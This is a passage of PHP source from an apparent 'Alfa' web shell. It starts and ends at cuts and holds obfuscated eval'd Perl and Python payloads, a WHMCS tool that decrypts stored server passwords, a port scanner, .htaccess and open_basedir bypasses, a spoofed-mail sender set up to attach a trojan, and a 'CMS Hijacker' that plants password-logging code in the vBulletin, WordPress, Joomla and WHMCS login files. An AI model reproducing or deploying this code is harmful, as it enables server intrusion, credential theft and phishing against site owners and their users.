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")));';; $py = '#!/usr/bin/python'."\nimport zlib, base64\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'\',\'exec\'))'; if($_POST['alfa1']=='perl'){$code = $perl;}else{$code = $py;} if(__write_file($name,$code)){ @chmod($name,0755); echo ''; } } echo $div; alfafooter(); } function alfaWhmcs(){ alfahead(); echo '
    '; function decrypt($string,$cc_encryption_hash){ $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash); $hash_key = _hash($key); $hash_length = strlen ($hash_key); $string = __ZGVjb2Rlcg($string); $tmp_iv = substr ($string, 0, $hash_length); $string = substr ($string, $hash_length, strlen ($string) - $hash_length); $iv = $out = ''; $c = 0; while ($c < $hash_length) { $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c])); ++$c; } $key = $iv; $c = 0; while ($c < strlen ($string)) { if (($c != 0 AND $c % $hash_length == 0)) { $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length)); } $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c])); ++$c; } return $out; } function _hash($string) { if(function_exists('sha1')) { $hash = sha1 ($string); } else { $hash = md5 ($string); } $out = ''; $c = 0; while ($c < strlen ($hash)) { $out .= chr (hexdec ($hash[$c] . $hash[$c + 1])); $c += 2; } return $out; } AlfaNum(8,9,10); echo "

    | WHMCS DeCoder |

    ".getConfigHtml('whmcs')."

    "; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50') ); create_table($table); echo "

    "; if($_POST['alfa5']!=''){ $db_host=($_POST['alfa7']); $db_username=($_POST['alfa3']); $db_password=($_POST['alfa4']); $db_name=($_POST['alfa5']); $cc_encryption_hash=($_POST['alfa6']); echo __pre(); $conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn)); $query = mysqli_query($conn,"SELECT * FROM tblservers"); $num = mysqli_num_rows($query); if ($num > 0){ for($i=0; $i <=$num-1; $i++){ $v = @mysqli_fetch_array($query); $ipaddress = $v['ipaddress']; $username = $v['username']; $type = $v['type']; $active = $v['active']; $hostname = $v['hostname']; echo("
    "); $password = decrypt ($v['password'], $cc_encryption_hash); echo(""); echo(""); echo(""); echo(""); echo(""); echo(""); echo "
    Type$type
    Active$active
    Hostname$hostname
    Ip$ipaddress
    Username$username
    Password$password


    "; } $query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars"); $num1 = @mysqli_num_rows($query1); if ($num1 > 0){ for($i=0; $i <=$num1 -1; $i++){ $v = mysqli_fetch_array($query1); $registrar = $v['registrar']; $setting = $v['setting']; $value = decrypt($v['value'], $cc_encryption_hash); if ($value==""){ $value=0; } echo("
    Domain Reseller
    "); echo("
    "); echo(""); echo(""); echo(""); echo "
    Register$registrar
    Setting$setting
    Value$value


    "; } } }else{__alert('tblservers is Empty...!');}; } echo "
    "; alfafooter(); } function alfaportscanner(){ alfahead(); echo '

    | Port Scaner |

    Host:
    Port start:
    Port end:

    '; $start = strip_tags($_POST['alfa2']); $end = strip_tags($_POST['alfa3']); $host = strip_tags($_POST['alfa4']); if(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){ echo __pre(); $packetContent = "GET / HTTP/1.1\r\n\r\n"; if(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent); else{ $packetContent = str_replace(array("\r","\n"), "", $packetContent); $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent); } for($i = $start; $i<=$end; $i++){ $sock = @fsockopen($host, $i, $errno, $errstr, 3); if($sock){ stream_set_timeout($sock, 5); fwrite($sock, $packetContent."\r\n\r\n\x00"); $counter = 0; $maxtry = 1; $bin = ""; do{ $line = fgets($sock, 1024); if(trim($line)=="")$counter++; $bin .= $line; }while($counter<$maxtry); fclose($sock); echo "

    Port $i is open

    "; echo "

    "; } flush(); } } echo '
    '; alfafooter(); } function alfacgihtaccess($m,$d='', $symname=false){ $readme = ""; if($symname){$readme="\nReadmeName ".trim($symname);} if($m=='cgi'){ $code = "#ReCoded By HaxorWorld\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .haxor\nAddHandler cgi-script .haxor"; }elseif($m=='sym'){ $code = "#ReCoded By HaxorWorld\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all"; }elseif($m=='shtml'){ $code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml"; } @__write_file($d . ".htaccess", $code); } function alfabasedir(){ alfahead(); echo '

    | Open Base Dir |

    '; $passwd = _alfa_file('/etc/passwd'); if(is_array($passwd)){ $users = array(); $makepwd = alfaMakePwd(); $basedir = @ini_get('open_basedir'); $safe_mode = @ini_get('safe_mode'); if(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){ $bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP"; $tmp_path = alfaWriteTocgiapi("basedir.haxor",$bash); $bash_users = alfaEx("cd ".$tmp_path."/haxorcgiapi;sh basedir.haxor ".$makepwd,false,true,true); $users = json_decode($bash_users, true); $x=count($users); if($x>=2){array_pop($users);--$x;} } if(!$basedir&&!$safe_mode){ $x=0; foreach($passwd as $str){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = str_replace("{user}", $username, $makepwd); if(($username != '')){ if (@is_readable($dirz)){ array_push($users,$username); $x++; }}} } echo '

    '; echo "[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\n"."
    "; echo "[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\n"."
    "; echo "[~] Searching for passwords in config files...\n\n"."


    "; foreach($users as $user){ if(empty($user))continue; $path = str_replace("{user}", $user, $makepwd); echo "
    Change Dir ..:: $user ::..

    "; } }else{echo('
    [-] Error : coudn`t read /etc/passwd [-]
    ');} echo '

    '; echo '
    '; alfafooter(); } function alfamail(){ alfahead(); echo '
    '; AlfaNum(8,9,10); echo '

    | Fake Mail |

    '; $table = array( 'td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => 'target@fbi.gov', 'inputSize' => '60','placeholder' => true), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => 'sec@google.com', 'inputSize' => '60', 'placeholder' => true), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'].'trojan.exe', 'inputSize' => '60'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60') ); create_table($table); echo '

    Message:

    '; if(isset($_POST['alfa4'])&&($_POST['alfa4'] == '>>')){ $mail_to = $_POST['alfa1']; $mail_from = $_POST['alfa2']; $mail_subject = $_POST['alfa3']; $mail_content = $_POST['alfa5']; $count_mail = (int)$_POST['alfa6']; $mail_attach = $_POST['alfa7']; if(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){ if(!empty($mail_attach)&&@is_file($mail_attach)){ $file = $mail_attach; $content = __read_file($file); $content = chunk_split(__ZW5jb2Rlcg($content)); $uid = md5(uniqid(time())); $filename = basename($file); $headers = "From: ".$mail_from." <".$mail_from.">\r\n"; $headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n"; $headers .= "Reply-To: ".$mail_from."\r\n"; $headers .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n"; $headers .= 'MIME-Version: 1.0' . "\r\n"; $headers .= 'X-Mailer: php' . "\r\n"; $mail_content = "--".$uid."\r\n"; $mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n"; $mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n"; $mail_content .= $mail_content."\r\n\r\n"; $mail_content .= "--".$uid."\r\n"; $mail_content .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n"; $mail_content .= "Content-Transfer-Encoding: base64\r\n"; $mail_content .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n"; $mail_content .= $content."\r\n\r\n"; $mail_content .= "--".$uid."--"; }else{ $headers = "From: " . $mail_from. " ( ".$mail_from." ) \r\n"; $headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n"; $headers .= 'Reply-To: '.$mail_from.'' . "\r\n"; $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers .= 'MIME-Version: 1.0' . "\r\n"; $headers .= 'X-Mailer: php' . "\r\n"; } if(empty($count_mail)||$count_mail<1)$count_mail=1; if(!empty($mail_from)){echo __pre(); for($i=1;$i<=$count_mail;$i++){ if(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("
    Sent -> $mail_to
    "); }}else{__alert("Invalid Mail From !");} }else{__alert("Invalid Mail To !");} } echo('
    '); alfafooter(); } function alfaziper(){ alfahead(); AlfaNum(8,9,10); echo '

    | Compressor |

    Dir/File:
    Save Dir:

    '; if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){ $dirzip = $_POST['alfa3']; $zipfile = $_POST['alfa4']; if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){ alfaEx("powershell Compress-Archive -Path '".addslashes($dirzip)."' -DestinationPath '".addslashes(basename($zipfile))."'"); echo __pre().'

    Done -> '.$zipfile.'

    '; }elseif($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){ alfaEx("cd '".addslashes(dirname($zipfile))."';zip -r '".addslashes(basename($zipfile))."' '".addslashes($dirzip)."'"); echo __pre().'

    Done -> '.$zipfile.'

    '; }elseif(class_exists('ZipArchive')){ if(__alfaziper($dirzip, $zipfile)){ echo __pre().'

    Success...!
    '.$zipfile.'

    '; }else{echo __pre().'

    ERROR!!!...

    ';} } } echo '
    '; alfafooter(); } function __alfaziper($source,$destination){ if(!extension_loaded('zip')||!file_exists($source)){ return false; } $zip=new ZipArchive(); if(!$zip->open($destination,ZIPARCHIVE::CREATE)){ return false; } $source=str_replace('\\','/',realpath($source)); if(is_dir($source)===true){ $files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST); foreach($files as $file){ $file=str_replace('\\','/',$file); if(in_array(substr($file,strrpos($file,'/')+1),array('.','..')))continue; $file=realpath($file); if(is_dir($file)===true){ $zip->addEmptyDir(str_replace($source.'/','',$file.'/')); }else if(is_file($file)===true){ $zip->addFromString(str_replace($source.'/','',$file),file_get_contents($file)); } } }else if(is_file($source)===true){ $zip->addFromString(basename($source),file_get_contents($source)); } return $zip->close(); } function alfadeziper(){ alfahead(); AlfaNum(8,9,10); echo '

    | DeCompressor |

    File:
    Extract To:

    '; if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){ $dirzip = $_POST['alfa3']; $zipfile = $_POST['alfa4']; if(@!is_dir($zipfile)){ @mkdir($zipfile, 0777, true); } $finfo = ""; $file_type = ""; if(function_exists('finfo_open')){ $finfo = @finfo_open(FILEINFO_MIME_TYPE); $file_type = @finfo_file($finfo, $dirzip); @finfo_close($finfo); }else{ if($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){ $file_type = alfaEx('file -b --mime-type ' . $dirzip); } } if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){ alfaEx("powershell expand-archive -path '".addslashes($dirzip)."' -destinationpath '".addslashes(basename($zipfile))."'"); echo __pre().'

    Done -> '.$zipfile.'

    '; }elseif($GLOBALS['sys']=='unix'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx('which unzip')) > 0||strlen(alfaEx('which tar')) > 0||strlen(alfaEx('which gunzip')) > 0)){ switch ($file_type) { case 'application/zip': alfaEx("cd '".addslashes($zipfile)."';unzip '".addslashes($dirzip)."'"); break; case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar': if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){ alfaEx("cd '".addslashes($zipfile)."';tar xzf '".addslashes($dirzip)."'"); }else{ alfaEx("cd '".addslashes($zipfile)."';gunzip '".addslashes($dirzip)."'"); } break; } echo __pre().'

    Done -> '.$zipfile.' [ View Folder ]

    '; }elseif(class_exists('ZipArchive')){ $itsok = false; if(emtpy($file_type)){ $file_type = "application/zip"; } switch ($file_type) { case 'application/zip': $zip = new ZipArchive; $res = $zip->open($dirzip); if ($res) { $zip->extractTo($zipfile); $zip->close(); $itsok = true; } break; case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar': if(strstr(basename($dirzip), ".tar.gz")){ $new_file = $zipfile .'/'. basename($dirzip); @copy($dirzip, $new_file); $new_tar = str_replace(".tar.gz", ".tar", $new_file); try { $p = new PharData($new_file); $p->decompress(); $phar = new PharData($new_tar); $phar->extractTo($zipfile); @unlink($new_file); @unlink($new_tar); $itsok = true; } catch (Exception $e) { } }else{ try { $phar = new PharData($dirzip); $phar->extractTo($zipfile); $itsok = true; } catch (Exception $e) { } } break; } if($itsok){ echo __pre().'

    Success...!
    '.$zipfile.'
    [ View Folder ]

    '; }else{echo __pre().'

    ERROR!!!...

    ';} } } echo '
    '; alfafooter(); } function alfacmshijacker(){ alfahead(); AlfaNum(5,6,7,8,9,10); echo '

    | Cms Hijacker |


    CMS: "); echo ' Path installed cms: SaveTo:

    '; $cms = $_POST['alfa1']; $saveto = $_POST['alfa2']; $cmspath = $_POST['alfa4']; if(!empty($cms) AND !empty($saveto) AND $_POST['alfa4'] AND $_POST['alfa3'] == '>>'){ echo __pre(); alfaHijackCms($cms,$cmspath,$saveto); } echo '
    '; alfafooter(); } function alfaHijackCms($cms,$cmspath,$saveto){ switch($cms){ case "vb": hijackvBulletin($cmspath,$saveto); break; case "wp": hijackwp($cmspath,$saveto); break; case "jom": hijackJoomla($cmspath,$saveto); break; case "whmcs": hijackWhmcs($cmspath,$saveto); break; case "mybb": hijackMybb($cmspath,$saveto); break; case "ipb": hijackIPB($cmspath,$saveto); break; case "phpbb": hijackPHPBB($cmspath,$saveto); break; default: echo "error!"; break; } } function hijackvBulletin($path,$saveto){ $code='$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' . $alfa_password." (" . $row["email"] . ")\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}'; $clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')'; $code=str_replace('{saveto_path}',$saveto,$code); $login = $path."/login.php"; $class = $path."/includes/class_bootstrap.php"; $dologin = 'do_login_redirect();'; $evil_login = "\t".$code."\n\t".$dologin; $evil_class = "true"; if((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){ $data_login = @file_get_contents($login); $data_class = @file_get_contents($class); if(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){ $login_replace = str_replace($dologin,$evil_login, $data_login); $class_replace = str_replace($clearpw,$evil_class, $data_class); @file_put_contents($login, $login_replace); @file_put_contents($class, $class_replace); hijackOutput(0,$saveto); }else{ hijackOutput(1); } }else{ hijackOutput(1); } } function hijackwp($path,$saveto){ $code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);'; $redirect_wp = '#if[ ]{0,}\([ ]{0,}![ ]{0,}is_wp_error\([ ]{0,}\$user[ ]{0,}\)[ ]{0,}&&[ ]{0,}![ ]{0,}\$reauth[ ]{0,}\)[ ]{0,}{#'; $code=str_replace('{saveto_path}',$saveto,$code); $login=$path."/wp-login.php"; if(@is_file($login) AND @is_writable($login)){ $data_login = @file_get_contents($login); if(@preg_match($redirect_wp, $data_login, $match)){ $evil_login = "\t".$match[0]."\n\t".$code; $login_replace = @preg_replace($redirect_wp,$evil_login, $data_login); @file_put_contents($login, $login_replace); hijackOutput(0,$saveto); }else{ hijackOutput(1); } }else{ hijackOutput(1); } } function hijackJoomla($path,$saveto){ $code = '$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>'; $code=str_replace('{saveto_path}',$saveto,$code); $comp=$path."/administrator/components/com_login/"; if(@is_file($comp."/login.php")){ $login = $comp."/login.php"; }elseif(@is_file($comp."/admin.login.php")){ $login = $comp."/admin.login.php"; }else{ $login = ''; } if(@is_file($login) AND @is_writable($login) AND $login != ''){ $data_login = @file_get_contents($login); $evil_login = $code."\n".$data_login; @file_put_contents($login, $evil_login); hijackOutput(0,$saveto); }else{ hijackOutput(1); } } function hijackWhmcs($path,$saveto){ $code = ' 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' . $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>'; $code=str_replace('{saveto_path}',$saveto,$code); $conf=$path."/configuration.php"; if(@is_file($conf) AND @is_writable($conf)){ $data_conf = 